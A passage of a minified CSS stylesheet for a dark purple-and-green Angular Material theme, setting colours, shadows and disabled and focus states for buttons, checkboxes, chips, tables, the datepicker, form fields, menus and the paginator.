.mat-button-focus-overlay,.purple-green-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}.purple-green-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.purple-green-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.purple-green-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.purple-green-theme .mat-button .mat-ripple-element,.purple-green-theme .mat-icon-button .mat-ripple-element,.purple-green-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.purple-green-theme .mat-button-focus-overlay{background:white}.purple-green-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#ffffff1f}.purple-green-theme .mat-flat-button,.purple-green-theme .mat-raised-button,.purple-green-theme .mat-fab,.purple-green-theme .mat-mini-fab{color:#fff;background-color:#424242}.purple-green-theme .mat-flat-button.mat-primary,.purple-green-theme .mat-raised-button.mat-primary,.purple-green-theme .mat-fab.mat-primary,.purple-green-theme .mat-mini-fab.mat-primary{color:#fff}.purple-green-theme .mat-flat-button.mat-accent,.purple-green-theme .mat-raised-button.mat-accent,.purple-green-theme .mat-fab.mat-accent,.purple-green-theme .mat-mini-fab.mat-accent{color:#000000de}.purple-green-theme .mat-flat-button.mat-warn,.purple-green-theme .mat-raised-button.mat-warn,.purple-green-theme .mat-fab.mat-warn,.purple-green-theme .mat-mini-fab.mat-warn{color:#fff}.purple-green-theme .mat-flat-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-flat-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-flat-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-fab.mat-primary.mat-button-disabled,.purple-green-theme .mat-fab.mat-accent.mat-button-disabled,.purple-green-theme .mat-fab.mat-warn.mat-button-disabled,.purple-green-theme .mat-fab.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-primary.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-accent.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-warn.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#ffffff4d}.purple-green-theme .mat-flat-button.mat-primary,.purple-green-theme .mat-raised-button.mat-primary,.purple-green-theme .mat-fab.mat-primary,.purple-green-theme .mat-mini-fab.mat-primary{background-color:#7b1fa2}.purple-green-theme .mat-flat-button.mat-accent,.purple-green-theme .mat-raised-button.mat-accent,.purple-green-theme .mat-fab.mat-accent,.purple-green-theme .mat-mini-fab.mat-accent{background-color:#69f0ae}.purple-green-theme .mat-flat-button.mat-warn,.purple-green-theme .mat-raised-button.mat-warn,.purple-green-theme .mat-fab.mat-warn,.purple-green-theme .mat-mini-fab.mat-warn{background-color:#f44336}.purple-green-theme .mat-flat-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-flat-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-flat-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-fab.mat-primary.mat-button-disabled,.purple-green-theme .mat-fab.mat-accent.mat-button-disabled,.purple-green-theme .mat-fab.mat-warn.mat-button-disabled,.purple-green-theme .mat-fab.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-primary.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-accent.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-warn.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#ffffff1f}.purple-green-theme .mat-flat-button.mat-primary .mat-ripple-element,.purple-green-theme .mat-raised-button.mat-primary .mat-ripple-element,.purple-green-theme .mat-fab.mat-primary .mat-ripple-element,.purple-green-theme .mat-mini-fab.mat-primary .mat-ripple-element{background-color:#ffffff1a}.purple-green-theme .mat-flat-button.mat-accent .mat-ripple-element,.purple-green-theme .mat-raised-button.mat-accent .mat-ripple-element,.purple-green-theme .mat-fab.mat-accent .mat-ripple-element,.purple-green-theme .mat-mini-fab.mat-accent .mat-ripple-element{background-color:#0000001a}.purple-green-theme .mat-flat-button.mat-warn .mat-ripple-element,.purple-green-theme .mat-raised-button.mat-warn .mat-ripple-element,.purple-green-theme .mat-fab.mat-warn .mat-ripple-element,.purple-green-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.purple-green-theme .mat-stroked-button:not([class*=mat-elevation-z]),.purple-green-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.purple-green-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.purple-green-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.purple-green-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.purple-green-theme .mat-fab:not([class*=mat-elevation-z]),.purple-green-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.purple-green-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.purple-green-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.purple-green-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.purple-green-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.purple-green-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.purple-green-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.purple-green-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.purple-green-theme .mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.purple-green-theme .mat-button-toggle{color:#ffffff80}.purple-green-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#ffffff1f}.purple-green-theme .mat-button-toggle-appearance-standard{color:#fff;background:#424242}.purple-green-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#fff}.purple-green-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #595959}.purple-green-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #595959}.purple-green-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #595959}.purple-green-theme .mat-button-toggle-checked{background-color:#212121;color:#ffffffb3}.purple-green-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#fff}.purple-green-theme .mat-button-toggle-disabled{color:#ffffff4d;background-color:#000}.purple-green-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:#424242}.purple-green-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#424242}.purple-green-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.purple-green-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #595959}.purple-green-theme .mat-card{background:#424242;color:#fff}.purple-green-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.purple-green-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.purple-green-theme .mat-card-subtitle{color:#ffffffb3}.purple-green-theme .mat-checkbox-frame{border-color:#ffffffb3}.purple-green-theme .mat-checkbox-checkmark{fill:#303030}.purple-green-theme .mat-checkbox-checkmark-path{stroke:#303030!important}.purple-green-theme .mat-checkbox-mixedmark{background-color:#303030}.purple-green-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.purple-green-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#7b1fa2}.purple-green-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.purple-green-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#69f0ae}.purple-green-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.purple-green-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#f44336}.purple-green-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.purple-green-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#686868}.purple-green-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#686868}.purple-green-theme .mat-checkbox-disabled .mat-checkbox-label{color:#ffffff80}.purple-green-theme .mat-checkbox .mat-ripple-element{background-color:#fff}.purple-green-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.purple-green-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#7b1fa2}.purple-green-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.purple-green-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#69f0ae}.purple-green-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.purple-green-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}.purple-green-theme .mat-chip.mat-standard-chip{background-color:#616161;color:#fff}.purple-green-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#fff;opacity:.4}.purple-green-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.purple-green-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.purple-green-theme .mat-chip.mat-standard-chip:after{background:white}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#7b1fa2;color:#fff}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#69f0ae;color:#000000de}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#000000de;opacity:.4}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#0000001a}.purple-green-theme .mat-table{background:#424242}.purple-green-theme .mat-table thead,.purple-green-theme .mat-table tbody,.purple-green-theme .mat-table tfoot,.purple-green-theme mat-header-row,.purple-green-theme mat-row,.purple-green-theme mat-footer-row,.purple-green-theme [mat-header-row],.purple-green-theme [mat-row],.purple-green-theme [mat-footer-row],.purple-green-theme .mat-table-sticky{background:inherit}.purple-green-theme mat-row,.purple-green-theme mat-header-row,.purple-green-theme mat-footer-row,.purple-green-theme th.mat-header-cell,.purple-green-theme td.mat-cell,.purple-green-theme td.mat-footer-cell{border-bottom-color:#ffffff1f}.purple-green-theme .mat-header-cell{color:#ffffffb3}.purple-green-theme .mat-cell,.purple-green-theme .mat-footer-cell{color:#fff}.purple-green-theme .mat-calendar-arrow{fill:#fff}.purple-green-theme .mat-datepicker-toggle,.purple-green-theme .mat-datepicker-content .mat-calendar-next-button,.purple-green-theme .mat-datepicker-content .mat-calendar-previous-button{color:#fff}.purple-green-theme .mat-calendar-table-header-divider:after{background:rgba(255,255,255,.12)}.purple-green-theme .mat-calendar-table-header,.purple-green-theme .mat-calendar-body-label{color:#ffffffb3}.purple-green-theme .mat-calendar-body-cell-content,.purple-green-theme .mat-date-range-input-separator{color:#fff;border-color:transparent}.purple-green-theme .mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#ffffff80}.purple-green-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#ffffff80}.purple-green-theme .mat-calendar-body-in-preview{color:#ffffff3d}.purple-green-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#ffffff80}.purple-green-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#ffffff4d}.purple-green-theme .mat-calendar-body-in-range:before{background:rgba(123,31,162,.2)}.purple-green-theme .mat-calendar-body-comparison-identical,.purple-green-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.purple-green-theme .mat-calendar-body-comparison-bridge-start:before,.purple-green-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(123,31,162,.2) 50%,rgba(249,171,0,.2) 50%)}.purple-green-theme .mat-calendar-body-comparison-bridge-end:before,.purple-green-theme [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(123,31,162,.2) 50%,rgba(249,171,0,.2) 50%)}.purple-green-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.purple-green-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.purple-green-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.purple-green-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.purple-green-theme .mat-calendar-body-selected{background-color:#7b1fa2;color:#fff}.purple-green-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#7b1fa266}.purple-green-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.purple-green-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.purple-green-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#7b1fa24d}@media (hover: hover){.purple-green-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#7b1fa24d}}.purple-green-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#424242;color:#fff}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(105,240,174,.2)}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.purple-green-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(105,240,174,.2) 50%,rgba(249,171,0,.2) 50%)}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.purple-green-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(105,240,174,.2) 50%,rgba(249,171,0,.2) 50%)}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#69f0ae;color:#000000de}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#69f0ae66}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #000000de}.purple-green-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.purple-green-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#69f0ae4d}@media (hover: hover){.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#69f0ae4d}}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(244,67,54,.2)}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.purple-green-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.purple-green-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#f4433666}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.purple-green-theme .mat-datepicker-content.mat-warn .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.purple-green-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}@media (hover: hover){.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}}.purple-green-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.purple-green-theme .mat-datepicker-toggle-active{color:#7b1fa2}.purple-green-theme .mat-datepicker-toggle-active.mat-accent{color:#69f0ae}.purple-green-theme .mat-datepicker-toggle-active.mat-warn{color:#f44336}.purple-green-theme .mat-date-range-input-inner[disabled]{color:#ffffff80}.purple-green-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:#424242;color:#fff}.purple-green-theme .mat-divider{border-top-color:#ffffff1f}.purple-green-theme .mat-divider-vertical{border-right-color:#ffffff1f}.purple-green-theme .mat-expansion-panel{background:#424242;color:#fff}.purple-green-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.purple-green-theme .mat-action-row{border-top-color:#ffffff1f}.purple-green-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.purple-green-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.purple-green-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(255,255,255,.04)}@media (hover: none){.purple-green-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:#424242}}.purple-green-theme .mat-expansion-panel-header-title{color:#fff}.purple-green-theme .mat-expansion-panel-header-description,.purple-green-theme .mat-expansion-indicator:after{color:#ffffffb3}.purple-green-theme .mat-expansion-panel-header[aria-disabled=true]{color:#ffffff4d}.purple-green-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.purple-green-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.purple-green-theme .mat-form-field-label,.purple-green-theme .mat-hint{color:#ffffffb3}.purple-green-theme .mat-form-field.mat-focused .mat-form-field-label{color:#7b1fa2}.purple-green-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#69f0ae}.purple-green-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}.purple-green-theme .mat-focused .mat-form-field-required-marker{color:#69f0ae}.purple-green-theme .mat-form-field-ripple{background-color:#fff}.purple-green-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#7b1fa2}.purple-green-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#69f0ae}.purple-green-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}.purple-green-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#7b1fa2}.purple-green-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#69f0ae}.purple-green-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#f44336}.purple-green-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.purple-green-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.purple-green-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#f44336}.purple-green-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.purple-green-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}.purple-green-theme .mat-error{color:#f44336}.purple-green-theme .mat-form-field-appearance-legacy .mat-form-field-label,.purple-green-theme .mat-form-field-appearance-legacy .mat-hint{color:#ffffffb3}.purple-green-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#ffffffb3}.purple-green-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(255,255,255,.7) 0%,rgba(255,255,255,.7) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.purple-green-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#ffffffb3}.purple-green-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(255,255,255,.7) 0%,rgba(255,255,255,.7) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.purple-green-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#ffffff1a}.purple-green-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#ffffff0d}.purple-green-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#ffffff80}.purple-green-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:#ffffff80}.purple-green-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.purple-green-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#ffffff4d}.purple-green-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#fff}.purple-green-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#7b1fa2}.purple-green-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#69f0ae}.purple-green-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.purple-green-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}.purple-green-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#ffffff80}.purple-green-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#ffffff26}.purple-green-theme .mat-icon.mat-primary{color:#7b1fa2}.purple-green-theme .mat-icon.mat-accent{color:#69f0ae}.purple-green-theme .mat-icon.mat-warn{color:#f44336}.purple-green-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#ffffffb3}.purple-green-theme .mat-input-element:disabled,.purple-green-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#ffffff80}.purple-green-theme .mat-input-element{caret-color:#7b1fa2}.purple-green-theme .mat-input-element::placeholder{color:#ffffff80}.purple-green-theme .mat-input-element::-moz-placeholder{color:#ffffff80}.purple-green-theme .mat-input-element::-webkit-input-placeholder{color:#ffffff80}.purple-green-theme .mat-input-element:-ms-input-placeholder{color:#ffffff80}.purple-green-theme .mat-input-element:not(.mat-native-select-inline) option{color:#000000de}.purple-green-theme .mat-input-element:not(.mat-native-select-inline) option:disabled{color:#00000061}.purple-green-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#69f0ae}.purple-green-theme .mat-form-field.mat-warn .mat-input-element,.purple-green-theme .mat-form-field-invalid .mat-input-element{caret-color:#f44336}.purple-green-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#f44336}.purple-green-theme .mat-list-base .mat-list-item,.purple-green-theme .mat-list-base .mat-list-option{color:#fff}.purple-green-theme .mat-list-base .mat-subheader{color:#ffffffb3}.purple-green-theme .mat-list-base .mat-list-item-disabled{background-color:#ffffff1f;color:#ffffff80}.purple-green-theme .mat-list-option:hover,.purple-green-theme .mat-list-option:focus,.purple-green-theme .mat-nav-list .mat-list-item:hover,.purple-green-theme .mat-nav-list .mat-list-item:focus,.purple-green-theme .mat-action-list .mat-list-item:hover,.purple-green-theme .mat-action-list .mat-list-item:focus{background:rgba(255,255,255,.04)}.purple-green-theme .mat-list-single-selected-option,.purple-green-theme .mat-list-single-selected-option:hover,.purple-green-theme .mat-list-single-selected-option:focus{background:rgba(255,255,255,.12)}.purple-green-theme .mat-menu-panel{background:#424242}.purple-green-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.purple-green-theme .mat-menu-item{background:transparent;color:#fff}.purple-green-theme .mat-menu-item[disabled],.purple-green-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.purple-green-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#ffffff80}.purple-green-theme .mat-menu-item .mat-icon-no-color,.purple-green-theme .mat-menu-submenu-icon{color:#fff}.purple-green-theme .mat-menu-item:hover:not([disabled]),.purple-green-theme .mat-menu-item.cdk-program-focused:not([disabled]),.purple-green-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.purple-green-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(255,255,255,.04)}.purple-green-theme .mat-paginator{background:#424242}.purple-green-theme .mat-paginator,.purple-green-theme .mat-paginator-page-size .mat-select-trigger{color:#ffffffb3}.purple-green-theme .mat-paginator-decrement,.purple-green-theme .mat-paginator-increment{border-top:2px solid white;border-right:2px solid white}.purple-green-theme .mat-paginator-first,.purple-green-theme .mat-paginator-last{border-top:2px solid white}.purple-green-theme .mat-icon-button[disabled] .mat-paginator-decrement,.purple-green-theme .mat-icon-button[disabled] .mat-paginator-increment,.purple-green-theme .mat-icon-button[disabled] .mat-paginator-first,.purple-green-theme .mat-icon-button[disabled] 